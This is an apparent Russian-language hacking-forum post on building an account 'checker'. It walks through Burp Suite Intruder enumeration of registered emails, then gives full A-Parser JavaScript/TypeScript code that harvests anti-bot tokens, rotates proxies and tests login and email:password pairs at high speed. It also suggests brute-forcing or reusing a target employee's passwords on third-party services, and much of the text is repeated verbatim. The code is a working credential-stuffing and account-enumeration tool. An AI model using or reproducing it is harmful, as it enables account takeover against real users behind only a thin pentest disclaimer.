Приветствую! Используя знания в области JavaScript, можно более эффективно и всесторонне исследовать безопасность веб-приложений. Навыки программирования на JS позволяют значительно расширить границы автоматизации и вариативности атак, углубляя анализ и повышая качество выполнения атак на конкретные цели. Такой подход способствует более продуктивной работе.
Важно понять, что вас интересует. Лично меня всегда привлекали утилиты для пентеста, написанные своими руками: регчекеры, брутфорсеры и т.д. Но когда мне это было интересно - в интернете не было нормальных инструкций. Я находил некоторые проекты на Python, но они были не оптимизированы и не продуманы.
Цена была высокой. Я не знаю, почему автор берет за свои услуги 700 долларов... В итоге, я решил по-своему: сделать чекер с помощью Burp Suite Professional. Получилось, но я так и не понял, как добавить в него прокси по ссылке. Именно в этом и заключается проблема. Вот как все происходило:
У меня есть веб-ресурс с заметками. То есть можно войти в аккаунт и создать заметку, которая будет сохранена. Если аккаунт не зарегистрирован, пользователь увидит определенное сообщение:
Если аккаунт существует, то его перенаправит на форму для ввода пароля. Если пароль неверный, то на экране появится соответствующее сообщение:
Поэтому нужно предусмотреть все исходы. Всё зависит от ресурса: где-то надо подтверждать почту, где-то пароль неверный, где-то аккаунт не существует и т.п. Для теста нужно зарегистрировать существующий аккаунт, несуществующий (случайный логин), подтвержденный аккаунт, неподтвержденный аккаунт. Дальше уже зависит от того, что вам нужно.
Теперь откроем Burp Suite и введем несуществующий login. Перехватим и посмотрим на POST-запрос, который мы отправляем:
Мы отправляем username, которого нет в бд. Перенаправляем запрос в Repeater и отправляем запрос еще раз. Будем смотреть ответ:
Как мы видим, если юзернейма нет в базе данных, то в ответ прилетает сообщение: ”Аккаунта с таким адресом эл. почты или именем пользователя не существует”
Теперь попробуем отправить Email, который существует. Я отправил и ошибок никаких не было, а значит нужно ориентироваться конкретно на несуществующий Email, потому что так будет проще. Если почта не существует, то в ответе есть вот такое содержимое:
Отлично! Мы знаем, как указать Burp Suite какие аккаунты не существуют. Если вам не удалось найти что-то уникальное сразу на глаз, то попробуйте взять любой текстовой редактор и закинуть туда 2 responsa в случае успеха и невалида. Далее просто проверьте на уникальность. Также можно сразу в Burp Suite проверить два запроса на уникальность, используя функцию "Comparer" (Сравнение)
Закидываем содержимое ответа в Comparer и смотрим:
На глаз я правильно определил изначально. Как мы видим подсвечивается “usePasswordAuth”: значение отличается. Мы определили разницу между успехом и невалидом в двух ответах. Самое время закинуть наш запрос (шаблон) в intruder. Меняться будет только email, поэтому выделяем его. Добавляем в payload почты, которые мы хотим проверить:
Добавляем наш текст для фильтрации и запускаем:
Выделяем все результаты и копируем в текстовой редактор. Например, в emeditor. Пробел заменяем на точку с запятой:
Выбираем разделитель “Точка с запятой” и выделяем нужную колонку (где по UsePassword был поиск в ответ):
Ставим галочку только в выделенном фрагменте, ищем цифру 1. Это несуществующие аккаунты, так как мы искали по false. Далее нажимаем "Закладка".
Возвращаемся на исходную позицию и смотрим, что у нас выделилось:
Как раз ненужная строчка с несуществующим емейлом. Теперь мы можем ее просто удалить:
Да, это действительно работает, но это для вашего понимания. Работать так точно не стоит – это абсолютно неудобно. Нужно всё автоматизировать, чтобы так сильно не мучаться. Чего нам не хватает?
Мне в голову пришло два варианта:
Если посмотреть код парсера, то там легко читается алгоритм:
Никакие дополнительные библиотеки в данном парсере не используются.
Проверка аккаунта на наличие регистрации:
Проверка Email:
На вход можно подавать как Email, так и Email
assword. Давайте посмотрим, какая скорость проверки будет на 100 потоках. В минуту можно проверять +- 1000 аккаунтов. Результат автоматически сохраняется в текстовой файл:
Если вам разрешено проводить атаки на проникновение и вы не смогли найти уязвимостей в одной из целей, но заметили, что администратор или сотрудник зарегистрирован на другом стороннем сервисе, то написание подобного скрипта может быть полезно в следующих случаях:
Однако важно соблюдать этику и законы при проведении пентеста. Убедитесь, что у вас есть разрешение от компании и следуйте их правилам и регламенту, чтобы избежать юридических проблем или нанесения ущерба компании.
Важно понять, что вас интересует. Лично меня всегда привлекали утилиты для пентеста, написанные своими руками: регчекеры, брутфорсеры и т.д. Но когда мне это было интересно - в интернете не было нормальных инструкций. Я находил некоторые проекты на Python, но они были не оптимизированы и не продуманы.
Эта идея пришла мне, когда я пытался решить задачу на курсе WAPT с помощью инструмента Hydra. Я не мог найти, как добавить прокси, которые обновляются по ссылке. Я прочитал много статей, но так и не нашел готового решения. Думаю, объяснять, зачем нужны прокси, не стоит — это и так все знают. Я сам еще новичок и не умею программировать, поэтому решил заказать разработку ПО у профессионалов, когда появились свободные финансы:На мой взгляд, настоящий мастер пентеста — это тот, кто умеет создавать и редактировать программное обеспечение (например, как @N1GGA и @BearSec). Ведь на GitHub полно уникальных утилит, но, к сожалению, они часто не доработаны или требуют обновлений. Нанять кого-то, чтобы написать ПО на заказ, довольно дорого. Поэтому я решил создать свой ресурс с заметками и обратился к людям, которые пишут ПО на заказ. Мне нужно было ПО, где можно загрузить логин и пароль, добавить прокси и сохранить результаты в отдельный файл.
Цена была высокой. Я не знаю, почему автор берет за свои услуги 700 долларов... В итоге, я решил по-своему: сделать чекер с помощью Burp Suite Professional. Получилось, но я так и не понял, как добавить в него прокси по ссылке. Именно в этом и заключается проблема. Вот как все происходило:
У меня есть веб-ресурс с заметками. То есть можно войти в аккаунт и создать заметку, которая будет сохранена. Если аккаунт не зарегистрирован, пользователь увидит определенное сообщение:
Если аккаунт существует, то его перенаправит на форму для ввода пароля. Если пароль неверный, то на экране появится соответствующее сообщение:
Поэтому нужно предусмотреть все исходы. Всё зависит от ресурса: где-то надо подтверждать почту, где-то пароль неверный, где-то аккаунт не существует и т.п. Для теста нужно зарегистрировать существующий аккаунт, несуществующий (случайный логин), подтвержденный аккаунт, неподтвержденный аккаунт. Дальше уже зависит от того, что вам нужно.
Теперь откроем Burp Suite и введем несуществующий login. Перехватим и посмотрим на POST-запрос, который мы отправляем:
Мы отправляем username, которого нет в бд. Перенаправляем запрос в Repeater и отправляем запрос еще раз. Будем смотреть ответ:
Как мы видим, если юзернейма нет в базе данных, то в ответ прилетает сообщение: ”Аккаунта с таким адресом эл. почты или именем пользователя не существует”
Теперь попробуем отправить Email, который существует. Я отправил и ошибок никаких не было, а значит нужно ориентироваться конкретно на несуществующий Email, потому что так будет проще. Если почта не существует, то в ответе есть вот такое содержимое:
Отлично! Мы знаем, как указать Burp Suite какие аккаунты не существуют. Если вам не удалось найти что-то уникальное сразу на глаз, то попробуйте взять любой текстовой редактор и закинуть туда 2 responsa в случае успеха и невалида. Далее просто проверьте на уникальность. Также можно сразу в Burp Suite проверить два запроса на уникальность, используя функцию "Comparer" (Сравнение)
Закидываем содержимое ответа в Comparer и смотрим:
На глаз я правильно определил изначально. Как мы видим подсвечивается “usePasswordAuth”: значение отличается. Мы определили разницу между успехом и невалидом в двух ответах. Самое время закинуть наш запрос (шаблон) в intruder. Меняться будет только email, поэтому выделяем его. Добавляем в payload почты, которые мы хотим проверить:
Добавляем наш текст для фильтрации и запускаем:
Выделяем все результаты и копируем в текстовой редактор. Например, в emeditor. Пробел заменяем на точку с запятой:
Выбираем разделитель “Точка с запятой” и выделяем нужную колонку (где по UsePassword был поиск в ответ):
Ставим галочку только в выделенном фрагменте, ищем цифру 1. Это несуществующие аккаунты, так как мы искали по false. Далее нажимаем "Закладка".
Возвращаемся на исходную позицию и смотрим, что у нас выделилось:
Как раз ненужная строчка с несуществующим емейлом. Теперь мы можем ее просто удалить:
Да, это действительно работает, но это для вашего понимания. Работать так точно не стоит – это абсолютно неудобно. Нужно всё автоматизировать, чтобы так сильно не мучаться. Чего нам не хватает?
1) Прокси, которые обновляются по ссылке
2) Результат, чтобы автоматически сохранялся в отдельный файл output.txt
3) Готовый шаблон, чтобы не перехватывать постоянно запрос.
4)Оптимизированная быстрая работа. В таком деле самое важное – это скорость.
2) Результат, чтобы автоматически сохранялся в отдельный файл output.txt
3) Готовый шаблон, чтобы не перехватывать постоянно запрос.
4)Оптимизированная быстрая работа. В таком деле самое важное – это скорость.
Мне в голову пришло два варианта:
- Искать инструмент в OpenBullet - набор для веб-тестирования, который позволяет выполнять запросы к целевому веб-приложению и предлагает множество инструментов для работы с результатами). Это программное обеспечение может использоваться для очистки и анализа данных, автоматического пентеста, модульного тестирования с помощью selenium и многого другого.
GitHub - openbullet/openbullet: The OpenBullet web testing application. - Искать человека, который работу на a-parser. У меня он давно еще был куплен. Я прочитал, что там можно создавать шаблоны на JavaScript и поэтому подумал, что это будет неплохим решением.
- .map файл - это файл, который создается при преобразовании TS в JS
- .ts - код на typrescript
- .js - код на javascript
Если посмотреть код парсера, то там легко читается алгоритм:
- Получение необходимых кук
- В зависимости от вида запроса:
- проверка существования логина
- проверка пароля для авторизации по указанному логину
Никакие дополнительные библиотеки в данном парсере не используются.
Проверка аккаунта на наличие регистрации:
JavaScript:
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.JS_order_3749 = void 0;
const a_parser_types_1 = require("a-parser-types");
class JS_order_3749 extends a_parser_types_1.BaseParser {
async parse(set, results) {
const q = set.query.split(/:/);
for (let attempt = 1; attempt <= this.conf.proxyretries; attempt++) {
let hpts, hptsh;
const { success } = await this.request('GET', 'https://www.example.com/Login.action', {}, {
attempt,
check_content: [(data, hdr) => {
try {
hpts = data.match(/getElementById\("hpts"\)\.value\s*=\s*"([^"]+)/)[1];
hptsh = data.match(/getElementById\("hptsh"\)\.value\s*=\s*"([^"]+)/)[1];
return /ak_bmsc=[^;]+/.test(hdr['set-cookie']);
}
catch (e) {
return false;
}
}]
});
if (!success) {
await this.proxy.next();
continue;
}
const result = q[1] ? await this.checkPassword(q[0], q[1], hpts, hptsh, attempt) : await this.checkLogin(q[0], hpts, hptsh, attempt);
if (result) {
results.status = result;
results.success = 1;
break;
}
}
return results;
}
async checkLogin(username, hpts, hptsh, attempt) {
let json;
const { success } = await this.request('POST', 'https://www.example.com/Login.action', {
username,
password: '',
evaluateUsername: '',
hpts,
hptsh,
analyticsLoginOrigin: 'login_action',
clipperFlow: 'false',
showSwitchService: 'true',
usernameImmutable: 'false'
}, {
parsecodes: { 200: 1 },
attempt,
headers: {
referer: 'https://www.example.com/Login.action',
'x-requested-with': 'XMLHttpRequest'
},
check_content: [(data) => {
try {
json = JSON.parse(data);
if (json.captchaShow)
return false;
return true;
}
catch (e) {
return false;
}
}]
});
if (success) {
return json.usePasswordAuth ? 1 : -1;
}
else {
return 0;
}
}
async checkPassword(username, password, hpts, hptsh, attempt) {
const { success, headers } = await this.request('POST', 'https://www.example.com/Login.action', {
username,
password,
login: 'Sign in',
hpts,
hptsh,
analyticsLoginOrigin: 'login_action',
clipperFlow: 'false',
showSwitchService: 'true',
usernameImmutable: 'false'
}, {
parsecodes: { 200: 1, 302: 1 },
attempt,
headers: {
referer: 'https://www.example.com/Login.action',
'x-requested-with': 'XMLHttpRequest'
},
onlyheaders: 1
});
return success ? headers.Status == 302 ? 1 : headers.Status == 200 ? -1 : 0 : 0;
}
}
exports.JS_order_3749 = JS_order_3749;
JS_order_3749.defaultConf = {
results: {
flat: [
['status', 'Status']
]
},
max_size: 1024 * 1024,
results_format: "$query: $status\\n"
};
//# sourceMappingURL=order-3749.js.map
Проверка Email:
Код:
import { BaseParser } from 'a-parser-types';
export class JS_order_3749 extends BaseParser {
static defaultConf: typeof BaseParser.defaultConf = {
results: {
flat: [
['status', 'Status']
]
},
max_size: 1024 * 1024,
results_format: "$query: $status\\n"
};
async parse(set, results) {
const q = set.query.split(/:/);
for(let attempt = 1; attempt <= this.conf.proxyretries; attempt++) {
let hpts, hptsh;
const {success} = await this.request('GET', 'https://www.example.com/Login.action', {}, {
attempt,
check_content: [(data, hdr) => {
try {
hpts = data.match(/getElementById\("hpts"\)\.value\s*=\s*"([^"]+)/)[1];
hptsh = data.match(/getElementById\("hptsh"\)\.value\s*=\s*"([^"]+)/)[1];
return /ak_bmsc=[^;]+/.test(hdr['set-cookie']);
} catch(e) {
return false;
}
}]
});
if(!success) {
await this.proxy.next();
continue;
}
const result = q[1] ? await this.checkPassword(q[0], q[1], hpts, hptsh, attempt) : await this.checkLogin(q[0], hpts, hptsh, attempt);
if(result) {
results.status = result;
results.success = 1;
break;
}
}
return results;
}
async checkLogin(username, hpts, hptsh, attempt) {
let json;
const {success} = await this.request('POST', 'https://www.example.com/Login.action', {
username,
password: '',
evaluateUsername: '',
hpts,
hptsh,
analyticsLoginOrigin: 'login_action',
clipperFlow: 'false',
showSwitchService: 'true',
usernameImmutable: 'false'
}, {
parsecodes: { 200: 1 },
attempt,
headers: {
referer: 'https://www.example.com/Login.action',
'x-requested-with': 'XMLHttpRequest'
},
check_content: [(data) => {
try {
json = JSON.parse(data);
if(json.captchaShow) return false;
return true;
} catch(e) {
return false;
}
}]
});
if(success) {
return json.usePasswordAuth ? 1 : -1;
} else {
return 0;
}
}
async checkPassword(username, password, hpts, hptsh, attempt) {
const {success, headers} = await this.request('POST', 'https://www.example.com/Login.action', {
username,
password,
login: 'Sign in',
hpts,
hptsh,
analyticsLoginOrigin: 'login_action',
clipperFlow: 'false',
showSwitchService: 'true',
usernameImmutable: 'false'
}, {
parsecodes: { 200: 1, 302: 1 },
attempt,
headers: {
referer: 'https://www.example.com/Login.action',
'x-requested-with': 'XMLHttpRequest'
},
onlyheaders: 1
});
return success ? headers.Status == 302 ? 1 : headers.Status == 200 ? -1 : 0 : 0;
}
}
На вход можно подавать как Email, так и Email

Если вам разрешено проводить атаки на проникновение и вы не смогли найти уязвимостей в одной из целей, но заметили, что администратор или сотрудник зарегистрирован на другом стороннем сервисе, то написание подобного скрипта может быть полезно в следующих случаях:
- Вы можете написать скрипт, чтобы перебрать возможные пароли этого администратора или сотрудника на стороннем сервисе. Это может быть полезно, если для этого аккаунта используется слабый или уязвимый пароль.
- Если администратор или сотрудник используют тот же самый пароль на разных сервисах, вы можете использовать скрипт для проверки, не совпадают ли пароли между целью, где вы не нашли уязвимостей, и сторонним сервисом.
- При проведении подобной атаки на сторонний сервис вы можете получить дополнительную информацию, которую можно использовать для дальнейшей атаки на целевую систему. Например, вы можете получить информацию о последовательности пароля или описать ошибки авторизации, которые можно использовать для усиления атаки на основную цель.
Однако важно соблюдать этику и законы при проведении пентеста. Убедитесь, что у вас есть разрешение от компании и следуйте их правилам и регламенту, чтобы избежать юридических проблем или нанесения ущерба компании.
Последнее редактирование модератором: